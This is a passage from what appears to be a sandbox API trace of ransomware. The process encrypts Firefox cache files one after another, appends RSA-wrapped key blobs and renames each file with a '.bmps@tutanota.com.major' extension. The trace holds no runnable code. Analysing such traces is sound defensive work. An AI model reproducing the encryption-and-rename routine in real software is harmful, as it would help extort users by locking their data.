dwFileAttributes=0x80) returned 1 [0275.705] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xdfe, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xdfe, lpOverlapped=0x0) returned 1 [0275.706] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3582, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0275.706] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3b030*, nNumberOfBytesToWrite=0xdfe, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3b030*, lpNumberOfBytesWritten=0x2e3f9b4*=0xdfe, lpOverlapped=0x0) returned 1 [0275.707] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xdfe [0275.707] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.707] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.707] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0275.707] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0275.707] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0275.707] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="M6VHS7WqCtKn6zBlQnDnPgZVvOB3cRIKVEMwGnaBaN47lFPnqHUH9rGn/SAtYE5h\nHfsgywuQvZ9bRpdffRL8aL3km6qlM9cn+uTnk5ohxlg91NLO5ddzZugRWlB5uUMP\nawgLcZ8bD3WSAP22trWDoX3sB81gvBzjnO5XkwafvcUY4RPEhJjxBM4xMmqPH0bG\nAX1gj4RaD4I5+gLg9pzAQ2zAHyQSL60ZC8MseWWIgIkO1rQ7escOCNEUD8y3F1d7\nlNQRkzZOU3W3+LqHzIZtRyc6omIGL6kofxxGeruJqkQylcAQrPdW0RE9rKPpDMKO\nGLc0Rj4QVZl9pedrpbDHqg==\n", pcchString=0x2e3f9a8) returned 1 [0275.707] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0275.708] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.708] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.708] CloseHandle (hObject=0x1b84) returned 1 [0275.708] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4B18B5ADA8BF2E475961694931BE215AED8ECBD5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4b18b5ada8bf2e475961694931be215aed8ecbd5"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4B18B5ADA8BF2E475961694931BE215AED8ECBD5.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4b18b5ada8bf2e475961694931be215aed8ecbd5.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0275.713] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0275.714] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4A46AC76F0CCC4293CC380999116F3B7911F85BE", dwFileAttributes=0x80) returned 1 [0275.714] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xe7d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xe7d, lpOverlapped=0x0) returned 1 [0275.715] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3709, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0275.715] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3b030*, nNumberOfBytesToWrite=0xe7d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3b030*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe7d, lpOverlapped=0x0) returned 1 [0275.716] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe7d [0275.716] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.716] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.717] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0275.717] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0275.717] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0275.717] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="F3K5V9Y9r5xez+OM2AvzJ84Gj5nuCU+gyUvQFI/EIsyKyRU3zP22upvKSQmlRo+f\nu3Ja2SS6eBdhSG9nwlxyR25QNDY4FGBJ5R+DQOuoFky/FPQFipkrvMNAXdKCyzmC\nptyHMx9PjmVQLXs87q0yDhE+8jC5c/pZ15JA41/DWy/0PKgl7FeWbDnxaZndQe/R\nGzaBPWEWirMOF9iVqTMpiE+givahBGkPqQaEvvyEX+PuNt7Xz+rqeLg/N0ImSFEt\n7uUF5wDzS6/Sa9whRZDfeY7Lhxpns0qK/yyMKPtPRMxz8ko0dgm1yh0eldFgX5iS\nUfWbW+he1imcqEzrhepdbA==\n", pcchString=0x2e3f9a8) returned 1 [0275.717] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0275.717] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.717] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.718] CloseHandle (hObject=0x1b84) returned 1 [0275.718] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4A46AC76F0CCC4293CC380999116F3B7911F85BE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4a46ac76f0ccc4293cc380999116f3b7911f85be"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4A46AC76F0CCC4293CC380999116F3B7911F85BE.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4a46ac76f0ccc4293cc380999116f3b7911f85be.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0275.720] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0275.720] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\49BEF680B849DB26256F9DA3DDFF8948DC33EB78", dwFileAttributes=0x80) returned 1 [0275.720] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x528, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x528, lpOverlapped=0x0) returned 1 [0275.721] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0275.721] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x528, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x528, lpOverlapped=0x0) returned 1 [0275.721] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x528 [0275.722] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.722] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.722] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0275.722] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0275.722] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0275.722] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="aExB2fXLuROzapZOYU8O2Q7vnKtm4cfr7UBkUBjSDTEze4gDgbV1DCkC8l0Mm+GH\ndb3jkIYP/cJGurpAaqXLglIetKmqbkxLXEj90Lfghe0KrnKK415uRXDaJe8HJepk\nA6xOdMYDlV6RUBp1XnzEvdajmaAcozfp/Yz3MPP2QRkqgEV4xqiXe0QYk+UmCm8C\nsd4pDNsX93WlaAfWvOEuSkljE4/wxB2btjsQDIwuUaJ/qynNPQVrTR/Mt5hvXHbM\nrKhM+fAuz+YbjT7XKHYEdP7CjIAV3/zJ/swIpWnF/W1Q523EUQbFSsdWqqmt93Ty\nihBUFXtU3EIZr31hUyfaQw==\n", pcchString=0x2e3f9a8) returned 1 [0275.722] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0275.723] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.723] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.723] CloseHandle (hObject=0x1b84) returned 1 [0275.723] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\49BEF680B849DB26256F9DA3DDFF8948DC33EB78" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\49bef680b849db26256f9da3ddff8948dc33eb78"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\49BEF680B849DB26256F9DA3DDFF8948DC33EB78.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\49bef680b849db26256f9da3ddff8948dc33eb78.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0275.725] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0275.725] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4996B3A4E4609BF5C760674E0477DC3B5B31E7BB", dwFileAttributes=0x80) returned 1 [0275.726] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x528, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x528, lpOverlapped=0x0) returned 1 [0275.839] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0275.839] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x528, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x528, lpOverlapped=0x0) returned 1 [0275.840] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x528 [0275.840] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.840] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.841] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0275.841] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0275.841] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0275.841] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="TEQwAIvieIHN/Ljqiwy8MRyPOuUgXcAhYCnErVmLNdAO1wBTKT214523oCqK+ARK\n4QEmvlmtXl6Lt9+zp+rHa2Na75GXkbjao8zg3LtlHVork6esD31sY+AlVMXHoAky\n1C2CPOB4E3BAwU50BfXdaMbWb5afTr8Wqs3gKFoZKNh6mzF1dd3G/mlZtjBfDKvl\nh2Ai7f7YEzn7cHjdpGqI2KQzDQDUlc4VETrT2lnPHR2H8YJ/HhNHY7wY8mDGCpk4\nyRAtjSPkrsCtxWqQ1vnhQcXUzjvzB1N2p5dVAiLcnd0BqVN3YMCeqBU7QdHzz8XB\nqF3XT++tfOfrpO/84WStsA==\n", pcchString=0x2e3f9a8) returned 1 [0275.841] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0275.842] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.842] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.842] CloseHandle (hObject=0x1b84) returned 1 [0275.842] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4996B3A4E4609BF5C760674E0477DC3B5B31E7BB" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4996b3a4e4609bf5c760674e0477dc3b5b31e7bb"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4996B3A4E4609BF5C760674E0477DC3B5B31E7BB.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4996b3a4e4609bf5c760674e0477dc3b5b31e7bb.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0275.844] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0275.844] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\49772025B554A1B58F236C062A67C6F401269337", dwFileAttributes=0x80) returned 1 [0275.844] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x523, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x523, lpOverlapped=0x0) returned 1 [0275.845] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1315, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0275.845] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x523, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x523, lpOverlapped=0x0) returned 1 [0275.846] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x523 [0275.846] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.846] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.846] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0275.846] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0275.847] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0275.847] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="RpfS4km89TIOJAOll5+imhQJ7PhE/Ze2DzgeQDK0gstVe46h9MtsbrdzRjuU0lCg\nn8KNtU/BuIi2LMsdmrUg7sx+YylyfDTs2L1KapA9pdurBr8kWUJSILonlLEej5Gp\nEac++R3DOhcM4f+clSJiF5XWuYjHiKU2VYpZVTHnSISlcotvLFasOzX+KkujCGjG\nXyyepaAhkGeXm7NM1KBuz9Lg2vyjywUWKISMga7sikPBQDXDpejS/MltoCcxrMfQ\nKmShGbhCvFagBP8rOrVgluqkShSVuxt96XxVIvrGN8R6QV1kk84eBfNGHc3d/8lo\nXFslIHw0Q2Zv59klcm17mQ==\n", pcchString=0x2e3f9a8) returned 1 [0275.847] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0275.847] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.847] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.847] CloseHandle (hObject=0x1b84) returned 1 [0275.848] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\49772025B554A1B58F236C062A67C6F401269337" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\49772025b554a1b58f236c062a67c6f401269337"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\49772025B554A1B58F236C062A67C6F401269337.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\49772025b554a1b58f236c062a67c6f401269337.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0275.850] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0275.850] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\491DECD15F6DA1F39C25E411B302418495F1B28F", dwFileAttributes=0x80) returned 1 [0275.850] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x491d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x491d, lpOverlapped=0x0) returned 1 [0275.906] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-18717, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0275.906] WriteFile (in: hFile=0x1b84, lpBuffer=0x3440148*, nNumberOfBytesToWrite=0x491d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3440148*, lpNumberOfBytesWritten=0x2e3f9b4*=0x491d, lpOverlapped=0x0) returned 1 [0275.907] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x491d [0275.907] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.907] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.908] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0275.908] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0275.908] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0275.908] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="HltrjzfZWK/iMC27PFIoN/PRe1qMpN7Dyrneiwx1x7LylNTb1P0kLrtG63YcgcuQ\n5Ke9usv7im0K6TnOVJAUl3zfbasCF/dw3haoFK25LV9Bzp+2ygzQjf2NtOXpaUOL\n3jiwRJw2jQGkcVkIxex5TVJbs2H5cALosFzDWe3ljCy8j6faLqOx+dNMtybWcRsI\nhcXgEX1MBIvY2izBhpF+xE5Fs7E9R17to+T+GExyGr5SIkBL7t7dv60yBjOUCxfO\nvER0wV3mVCisdP/1DwkCChk13pQHH6/mX1NCTUqwQHYBWehXvKQYRQ+C87mT4X2i\nN6gGJbITfbNQJxtotllTGw==\n", pcchString=0x2e3f9a8) returned 1 [0275.908] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0275.909] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.909] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.909] CloseHandle (hObject=0x1b84) returned 1 [0275.909] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\491DECD15F6DA1F39C25E411B302418495F1B28F" (normalized: 